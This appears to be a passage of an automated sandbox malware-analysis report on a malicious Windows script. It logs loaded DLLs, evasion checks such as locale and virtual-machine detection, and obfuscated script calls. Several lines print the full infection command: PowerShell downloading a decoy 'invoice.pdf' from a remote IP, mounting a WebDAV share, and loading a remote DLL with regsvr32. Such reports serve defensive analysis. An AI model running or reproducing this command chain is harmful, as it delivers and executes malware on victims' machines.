Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8311.js.csv");ITextStream.WriteLine(" entry:7481 f:gfchpli");ITextStream.WriteLine(" exec:2 f:gfchpli");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4845			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4774			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 4845 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2020	Thread sleep count: 4774 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2104	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2105664221.0000027ED6CBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111323657.0000027ED6C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3346646376.000001D8D222B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3347815317.000001D8D7859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2045762917.000001A0FEC08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

